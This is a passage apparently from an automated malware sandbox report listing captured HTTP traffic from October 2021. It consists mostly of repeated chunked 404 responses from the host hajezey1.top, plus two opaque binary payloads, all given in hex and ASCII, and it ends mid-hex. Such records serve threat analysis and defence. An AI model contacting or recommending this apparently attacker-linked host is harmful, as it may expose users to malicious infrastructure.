Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 52 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b f7 79 8d fb c4 4d c2 ec 5d 4f 5f 5b ff 33 90 5f 84 e2 eb 0b 4a 05 8e 8b a4 d4 ac e4 80 54 fd 17 d2 ea 4f e8 a1 1e c7 1f ab 29 29 8c 97 ad 67 c0 78 b7 bc 72 3f 1a 7c 03 84 5e 85 63 91 5b 07 e9 1f 9d 15 46 a6 b3 58 f1 06 ee 0c 42 de 8b f4 24 eb a8 e1 48 29 e8 74 cc 7c 3b 66 ab 4b 11 c0 4d 58 4b 77 13 d2 08 5b 47 86 65 29 15 32 39 c5 f7 45 22 aa cf 7c c1 7f 9f 61 79 b7 9e 96 98 8b 36 19 19 cb 8a f3 d8 04 0f 4e 86 19 7d 6f 37 e3 04 89 3d a4 55 80 90 70 89 9c 2c 4b 6b b6 e2 a2 22 48 d2 d1 49 ad ff fc ff 1f ed f5 3f f4 6d d3 7c ce 36 d3 ce 4e 49 b3 0b 5e 4c 64 55 5b ad 30 7a 83 eb 5f c8 c3 e7 b2 ec 24 1a 0a 1c 55 ee 87 fe 0c 35 9a 3d 50 6f d0 56 81 96 8b 97 9e 60 9f 8a 86 e8 47 5a bd b2 cb 99 64 51 11 87 4a b1 b8 56 54 8c f5 0a ef 8b 71 91 e0 35 a3 64 49 e0 76 79 27 24 58 96 da 39 d1 3a 2d a6 43 06 02 27 47 c2 fa cb f9 b0 72 50 6d ec f0 52 a4 e2 ec d7 d9 e6 60 f7 f8 23 d3 3e 5b f3 71 81 4a 04 38 2d 7f 14 2c d6 e8 b1 14 73 71 10 d2 ab 4b 86 07 30 5a 22 a2 3f 0b 8e 2b 51 fd f5 7a 60 9c 82 4b d0 d6 4a 13 a7 e9 4d 51 c2 41 64 cd 27 5c 8d b7 a3 23 0c 26 17 51 d2 eb e9 23 19 b3 32 59 08 42 41 ae e4 e3 40 3d 9d 43 cd 17 fe 2f 89 9d f8 d8 66 47 42 25 e1 b5 be 34 56 9b 46 3e 99 86 11 22 83 37 22 ec 7e af da 11 4b 95 36 2a 21 3f 65 74 b0 bb 87 f6 aa 81 de bb a0 69 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ac f8 b9 9f 3a 48 93 9f 4e bd 44 ef 5a 89 4f dc ea c0 4a 00 97 af a4 57 25 11 bb d0 ea 85 62 4a 08 7d 54 7a 98 6c 39 c0 1e f3 5c d9 40 11 e6 cc 64 3d da 9a 56 3a 22 7d e6 d2 1b 62 b9 50 31 eb cd 14 26 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 3b 88 4b 6e 47 f3 12 c3 b2 a5 83 41 ab 13 af b8 e8 81 63 a2 57 4a 60 87 bd 5f 6e 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 12 d3 e4 dc 0e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 bd 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 95 09 09 a8 1f 13 30 7b 32 cc c9 e1 ad c3 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 98 3f d8 2c eb 53 43 a0 0c 97 e4 22 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:18 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:18 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 39 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d2 9e 55 06 63 17 e5 ff dc fc be 1e b4 53 d9 63 ba 53 11 91 1d f4 0d 0a 30 0d 0a 0d 0a Data Ascii: 29I:82OUcScS0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:24 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:24 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 